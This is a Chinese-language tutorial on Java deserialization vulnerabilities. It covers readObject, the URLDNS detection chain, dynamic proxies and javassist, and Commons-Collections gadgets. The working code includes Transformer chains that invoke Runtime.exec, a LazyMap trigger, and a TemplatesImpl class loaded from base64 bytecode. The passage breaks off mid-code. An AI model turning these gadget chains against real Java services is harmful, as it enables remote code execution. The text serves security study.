Java反序列化 简述 Java
相对PHP
序列化更深入的地方在于,其提供了更加高级、灵活地方法 writeObject
,允许开发者在序列化流中插入一些自定义数据,进而在反序列化的时候能够使用 readObject
进行读取。
Java
设计 readObject
的思路和PHP
的 __wakeup
不同点在于: readObject
倾向于解决”反序列化时如何还原一个完整对象”这个问题,而PHP
的 __wakeup
更倾向于解决“反序列化后如何初始化这个对象”的问题。
在Java中实现对象反序列化非常简单,实现java.io.Serializable(内部序列化)
或java.io.Externalizable(外部序列化)
接口即可被序列化,其中java.io.Externalizable
接口只是实现了java.io.Serializable
接口。
反序列化类对象时有如下限制:
被反序列化的类必须存在。
serialVersionUID
值必须一致。
java.io.ObjectOutputStream
类最核心的方法是writeObject
方法,即序列化类对象。
java.io.ObjectInputStream
类最核心的功能是readObject
方法,即反序列化类对象。
所以,只需借助ObjectInputStream
和ObjectOutputStream
类我们就可以实现类的序列化和反序列化功能了。
反序列化接口 java中的unserializable接口是空的,所以实现该接口不用重写什么方法
反序列化过程中,绕过它的父类没有实现序列化接口,那么要提高无参构造函数来重新创建对象
一个实现Serializable接口的子类也可以被序列化
实现了Serializable 或者 Externalizable 接口的类的对象才能被序列化为字节序列
静态成员变量是不能被序列化(序列化针对对象属性)
transient 标识的对象成员变量不参与序列化
java.io.Serializable 这是一个空的接口,某个类实现了该接口可以标识该类可以序列化,我们不需要实现java.io.Serializable
的任何方法
1 2 public interface Serializable {}
实现了java.io.Serializable
接口的类原则上都需要生产一个serialVersionUID
常量,反序列化时如果双方的serialVersionUID
不一致会导致InvalidClassException
异常,如果可序列化类未显式声明 serialVersionUID
,则序列化运行时将基于该类的各个方面计算该类的默认 serialVersionUID
值。
DeserializationTest.java
测试代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 package com.anbai.sec.serializes;import java.io.*;import java.util.Arrays;public class DeserializationTest implements Serializable { private String username; private String email; public static void main (String[] args) { ByteArrayOutputStream baos = new ByteArrayOutputStream (); try { DeserializationTest t = new DeserializationTest (); t.setUsername("yz" ); t.setEmail("admin@javaweb.org" ); ObjectOutputStream out = new ObjectOutputStream (baos); out.writeObject(t); out.flush(); out.close(); System.out.println("DeserializationTest类序列化后的字节数组:" + Arrays.toString(baos.toByteArray())); ByteArrayInputStream bais = new ByteArrayInputStream (baos.toByteArray()); ObjectInputStream in = new ObjectInputStream (bais); DeserializationTest test = (DeserializationTest) in.readObject(); System.out.println("用户名:" + test.getUsername() + ",邮箱:" + test.getEmail()); in.close(); } catch (IOException e) { e.printStackTrace(); } catch (ClassNotFoundException e) { e.printStackTrace(); } } }
执行结果
1 2 DeserializationTest类序列化后的字节数组:[-84, -19, 0, 5, 115, 114, 0, 44, 99, 111, 109, 46, 97, 110, 98, 97, 105, 46, 115, 101, 99, 46, 115, 101, 114, 105, 97, 108, 105, 122, 101, 115, 46, 68, 101, 115, 101, 114, 105, 97, 108, 105, 122, 97, 116, 105, 111, 110, 84, 101, 115, 116, 74, 36, 49, 16, -110, 39, 13, 76, 2, 0, 2, 76, 0, 5, 101, 109, 97, 105, 108, 116, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 76, 0, 8, 117, 115, 101, 114, 110, 97, 109, 101, 113, 0, 126, 0, 1, 120, 112, 116, 0, 17, 97, 100, 109, 105, 110, 64, 106, 97, 118, 97, 119, 101, 98, 46, 111, 114, 103, 116, 0, 2, 121, 122] 用户名:yz,邮箱:admin@javaweb.org
核心逻辑其实就是使用ObjectOutputStream
类的writeObject
方法序列化DeserializationTest
类,使用ObjectInputStream
类的readObject
方法反序列化DeserializationTest
类而已。
简化后的代码
1 2 3 4 5 6 7 ObjectOutputStream out = new ObjectOutputStream (baos);out.writeObject(t); ObjectInputStream in = new ObjectInputStream (bais);DeserializationTest test = (DeserializationTest) in.readObject();
ObjectOutputStream
序列化类对象的主要流程是首先判断序列化的类是否重写了writeObject
方法,如果重写了就调用序列化对象自身的writeObject
方法序列化,序列化时会先写入类名信息,其次是写入成员变量信息(通过反射获取所有不包含被transient
修饰的变量和值)。
自定义序列化(writeObject)和反序列化(readObject) 实现了java.io.Serializable
接口的类,还可以定义如下方法(反序列化魔术方法
),这些方法将会在类序列化或反序列化过程中调用:
private void writeObject(ObjectOutputStream oos)
,自定义序列化。
private void readObject(ObjectInputStream ois)
,自定义反序列化。
private void readObjectNoData()
。
protected Object writeReplace()
,写入时替换对象。
protected Object readResolve()
。
序列化时可自定义的方法示例代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 public class DeserializationTest implements Serializable { private void readObject (ObjectInputStream ois) throws IOException, ClassNotFoundException { System.out.println("readObject..." ); ois.defaultReadObject(); } private void writeObject (ObjectOutputStream oos) throws IOException { oos.defaultWriteObject(); System.out.println("writeObject..." ); } private void readObjectNoData () { System.out.println("readObjectNoData..." ); } protected Object writeReplace () { System.out.println("writeReplace...." ); return null ; } protected Object readResolve () { System.out.println("readResolve...." ); return null ; } }
当我们对DeserializationTest
类进行序列化操作时,会自动调用(反射调用)该类的writeObject(ObjectOutputStream oos)
方法,对其进行反序列化操作时也会自动调用该类的readObject(ObjectInputStream)
方法,也就是说我们可以通过在待序列化或反序列化的类中定义readObject
和writeObject
方法,来实现自定义的序列化和反序列化操作 ,当然前提是,被序列化的类必须有此方法,并且方法的修饰符必须是private
。
URLDNS URLDNS
是一个非常经典的反序列化链。适合用于检测反序列化漏洞,但不能攻击
使用Java内置的类构造,对第三方库没有依赖
在⽬标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞
调用链
HashMap.readObject() -> HashMap.hash() -> java.net.URL.hashCode() -> URLStreamHandler.hashCode() -> URLStreamHandler.getHostAddress() -> InetAddress.getByName()
public static InetAddress getByName(String host) throws UnknownHostException 确定主机名称的IP地址。 主机名称可以是机器名称,例如“ java.sun.com ”或其IP地址的文本表示。 如果提供了文字IP地址,则只会检查地址格式的有效性。
java.util.HashMap
实现了 Serializable
接口,重写了 readObject
, 在反序列化时会调用 hash
函数计算 key 的 hashCode(需要先设置成-1). 而 java.net.URL
的 hashCode
在计算时会调用 getHostAddress
来解析域名,从而发出 DNS 请求。
在目标没有回显的时候,可以确定目标系统上是否存在可控的 readObject()
方法
Java动态代理 动态代理比较常见的用处就是:在不修改类的源码的情况下,通过代理的方式为类的方法提供更多的功能
举个例子来说(这个例子在开发中很常见):我的开发们实现了业务部分的所有代码,忽然我期望在这些业务代码中多添加日志记录功能的时候,一个一个类去添加代码就会非常麻烦,这个时候我们就能通过动态代理的方式对期待添加日志的类进行代理。
看一个简单的demo:
Work接口需要实现work函数
1 2 3 public interface Work { public String work () ; }
Teacher类实现了Work接口
1 2 3 4 5 6 7 public class Teacher implements Work { @Override public String work () { System.out.println("my work is teach students" ); return "Teacher" ; } }
WorkHandler用来处理被代理对象,它必须继承InvocationHandler接口,并实现invoke方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import java.lang.reflect.InvocationHandler;import java.lang.reflect.Method;public class WorkHandler implements InvocationHandler { private Object obj; public WorkHandler (Object obj) { this .obj = obj; } @Override public Object invoke (Object proxy, Method method, Object[] args) throws Throwable { System.out.println("before invoke。。。" ); Object invoke = method.invoke(obj, args); System.out.println("after invoke。。。" ); return invoke; } }
在Test类中通过Proxy.newProxyInstance进行动态代理,这样当我们调用代理对象proxy对象的work方法的时候,实际上调用的是WorkHandler的invoke方法 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;public class Test { public static void main (String[] args) { Work people = new Teacher (); InvocationHandler handler = new WorkHandler (people); Work proxy = (Work)Proxy.newProxyInstance(handler.getClass().getClassLoader(), people.getClass().getInterfaces(), handler); System.out.println(proxy.work()); } }
看一下输出结果,我们再没有改变Teacher类的前提下通过代理Work接口,实现了work函数调用的重写。
1 2 3 4 before invoke。。。 my work is teach students after invoke。。。 Teacher
javassist动态编程 ysoserial中基本上所有的恶意object都是通过动态编程的方式生成的,通过这种方式我们可以直接对已经存在的java文件字节码进行操作,也可以在内存中动态生成Java代码,动态编译执行,关于这样做的好处,作者在工具中也有提到:
could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
关于javassist动态编程,我就只把关键的函数及其功能罗列一下了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ClassPool pool = ClassPool.getDefault();CtClass cc = pool.get("test.Teacher" );cc.setSuperclass(pool.get("test.People" )); cc.writeFile(path); byte [] b=cc.toBytecode();CtClass cc = pool.makeClass("Point" );cc.addField(f); cc.addMethod(m); cc.setName("Pair" );
CC链 CC链 1-7 分析 - 先知社区 (aliyun.com)
CC链(Commons-Collections)中非常重要的就是几个Transformer类、HashMap、HashSet、HashTable、LazyMap、TiedMapEntry、BadAttributeValueExpException、AnnotationInvocationHandler、Proxy.newProxyInstance,看着好像很多有点唬人,其实理解之后会发现都不是大问题,特别是看过这些类的源码之后,每个利用链就会很清晰。
CC链的利用条件存在一些限制,主要表现为:
jdk8u71之前可以使用AnnotationInvocationHandler作为前段,之后不行
jdk7低版本中无法使用CC5(BadAttributeValueExpException不存在readObject)
commons-collections3.x可以使用LazyMap.decorate作为前段,之后不行
commons-collections4.0之后可以直接回调PriorityQueue作为前段,之前不行
先介绍几个里面调用到的类
该类实现了Transformer接口,并重写了tranform方法,用于获取一个对象,它的过程就是在构造函数的时候传入一个对象,并在transform方法将这个对象再返回:
1 2 3 4 5 6 7 8 public ConstantTransformer (Object constantToReturn) { this .iConstant = constantToReturn; } public Object transform (Object input) { return this .iConstant; }
该类实现了Transformer接口,并重写了tranform方法,其 transform 方法作用是反射调用指定的方法并返回方法调用结果,关键代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 public class InvokerTransformer implements Transformer , Serializable { static final long serialVersionUID = -8653385846894047688L ; private final String iMethodName; private final Class[] iParamTypes; private final Object[] iArgs; public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args) { this .iMethodName = methodName; this .iParamTypes = paramTypes; this .iArgs = args; } public Object transform (Object input) { if (input == null ) { return null ; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this .iMethodName, this .iParamTypes); return method.invoke(input, this .iArgs); } catch ………… } } }
弹计算器
1 2 3 4 5 6 public class test { public static void main (String[] args) { Transformer transformer = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"open -a Calculator" }); transformer.transform(Runtime.getRuntime()); } }
其 transform 方法作用是反射调用构造函数将类实例化,关键代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public class InstantiateTransformer implements Transformer , Serializable { static final long serialVersionUID = 3786388740793356347L ; public static final Transformer NO_ARG_INSTANCE = new InstantiateTransformer (); private final Class[] iParamTypes; private final Object[] iArgs; public InstantiateTransformer (Class[] paramTypes, Object[] args) { this .iParamTypes = paramTypes; this .iArgs = args; } public Object transform (Object input) { Constructor con = ((Class)input).getConstructor(this .iParamTypes); return con.newInstance(this .iArgs); }
测试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public class Student { public Student (String name) { System.out.println("学生姓名:" + name); } } public class Test { public static void main (String[] args) { Transformer instantiateTransformer = new InstantiateTransformer (new Class []{String.class}, new Object []{"小明" }); instantiateTransformer.transform(Student.class); } }
其 transform 方法作用是实现数组链式调用。我们只需传入一个 Transformer[] 给 ChainedTransformer,然后执行 ChainedTransformer 的 transform 方法便可以链式调用 Transformer[] 中每个 Transformer 的 transform 方法。
将内部的多个Transformer串在一起。通俗来说就是,前一个回调transform方法返回的结果,作为后一个回调transform方法的参数传入
关键代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public class ChainedTransformer implements Transformer , Serializable { static final long serialVersionUID = 3514945074733160196L ; private final Transformer[] iTransformers; public ChainedTransformer (Transformer[] transformers) { this .iTransformers = transformers; } public Object transform (Object object) { for (int i = 0 ; i < this .iTransformers.length; ++i) { object = this .iTransformers[i].transform(object); } return object; } }
测试 利用 ChainedTransformer 实现 Runtime.getRuntime ().exec(“calc”) )
因为Runtime类没有实现Serializable,所以只能通过class一步步构造
getRuntime()方法可以获取与之相关的Runtime对象
1 Runtime run = Runtime.getRuntime();
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public class Test { public static void main (String[] args) { Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"open -a Calculator" }) }; Transformer chainedTransformer = new ChainedTransformer (transformers); chainedTransformer.transform("test" ); } }
如果给这个函数传入null的话,会直接抛出 NullPointerException 空指针异常,但传入new Class [0]的话则不会抛异常
1 2 3 4 5 public Object invoke (Object obj, Object... args) throws IllegalAccessException, IllegalArgumentException, InvocationTargetException
对带有指定参数的指定对象调用由此 Method 对象表示的底层方法。个别参数被自动解包,以便与基本形参相匹配,基本参数和引用参数都随需服从方法调用转换。
如果底层方法是静态的,那么可以忽略指定的 obj
参数。该参数可以为 null。
如果底层方法所需的形参数为 0,则所提供的 args
数组长度可以为 0 或 null。
主要利用其中的get方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 public class LazyMap extends AbstractMapDecorator implements Map , Serializable { private static final long serialVersionUID = 7990956402564206740L ; protected final Transformer factory; public static Map decorate (Map map, Transformer factory) { return new LazyMap (map, factory); } protected LazyMap (Map map, Transformer factory) { super (map); if (factory == null ) { throw new IllegalArgumentException ("Factory must not be null" ); } else { this .factory = factory; } } public Object get (Object key) { if (!super .map.containsKey(key)) { Object value = this .factory.transform(key); super .map.put(key, value); return value; } else { return super .map.get(key); } } }
测试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public class Test { public static void main (String[] args) { Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; Transformer chainedTransformer = new ChainedTransformer (transformers); Map uselessMap = new HashMap (); Map lazyMap = LazyMap.decorate(uselessMap, chainedTransformer); lazyMap.get("test" ); } }
TemplatesImpl(重要) 这个类不在 Apache Commons Collections 中。但是 TemplatesImpl 这个类很特殊,我们可以借助其动态加载包含恶意的字节码,部分简化代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 public final class TemplatesImpl implements Templates , Serializable { private String _name = null ; private byte [][] _bytecodes = null ; private transient TransformerFactoryImpl _tfactory = null ; public synchronized Transformer newTransformer () throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl (getTransletInstance(), _outputProperties, _indentNumber, _tfactory); } private Translet getTransletInstance () throws TransformerConfigurationException { try { if (_name == null ) return null ; if (_class == null ) defineTransletClasses(); AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); ………… } } private void defineTransletClasses () throws TransformerConfigurationException { ………… TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction () { public Object run () { return new TransletClassLoader (ObjectFactory.findClassLoader()); } }); ………… for (int i = 0 ; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); } } static final class TransletClassLoader extends ClassLoader { TransletClassLoader(ClassLoader parent) { super (parent); } Class defineClass (final byte [] b) { return defineClass(null , b, 0 , b.length); } } }
恶意字节码的生成: HelloTemplatesImpl.java,主要其必须继承 AbstractTranslet 类,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public class HelloTemplatesImpl extends AbstractTranslet { public HelloTemplatesImpl () { super (); try { Runtime.getRuntime().exec("calc" ); } catch (Exception e) { e.printStackTrace(); } } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
我们将其编译为 HelloTemplatesImpl.class,然后进行 Base64 编码,得到如下结果:
1 yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAUTEhlbGxvVGVtcGxhdGVzSW1wbDsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwACQAKBwAuDAAvADABAARjYWxjDAAxADIBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAzAAoBABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAAKAAQADAANAA8AEAANABEADgAVABAADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFAANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGAANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj
测试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 public class Test { public static void setFieldValue (Object object, String fieldName, Object value) { try { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(object, value); } catch (Exception e) { e.printStackTrace(); } } public static void main (String[] args) throws TransformerConfigurationException { byte [] code = Base64.decode("yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAUTEhlbGxvVGVtcGxhdGVzSW1wbDsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwACQAKBwAuDAAvADABAARjYWxjDAAxADIBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAzAAoBABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAAKAAQADAANAA8AEAANABEADgAVABAADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFAANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGAANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj" ); TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_bytecodes" , new byte [][]{code}); setFieldValue(templates, "_name" , "HelloTemplatesImpl" ); setFieldValue(templates,"_tfactory" , new TransformerFactoryImpl ()); templates.newTransformer(); } }
所以我们只需传入恶意字节码给 TemplatesImpl,然后调用其 newTransformer 方法。那么有没有类可以调用 TemplatesImpl.newTransformer(),这里先介绍一个构造 CC3 中将会用到的类 TrAXFilter,下面是其构造函数:
1 2 3 4 5 6 7 8 9 10 11 public class TrAXFilter extends XMLFilterImpl { public TrAXFilter (Templates templates) throws TransformerConfigurationException { _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); ………… } }
测试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 public class Test { public static void setFieldValue (Object object, String fieldName, Object value) { try { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(object, value); } catch (Exception e) { e.printStackTrace(); } } public static void main (String[] args) throws TransformerConfigurationException { byte [] code = Base64.decode("yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAUTEhlbGxvVGVtcGxhdGVzSW1wbDsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwACQAKBwAuDAAvADABAARjYWxjDAAxADIBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAzAAoBABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAAKAAQADAANAA8AEAANABEADgAVABAADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFAANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGAANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj" ); TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_bytecodes" , new byte [][]{code}); setFieldValue(templates, "_name" , "HelloTemplatesImpl" ); setFieldValue(templates,"_tfactory" , new TransformerFactoryImpl ()); Transformer instantiateTransformer = new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}); 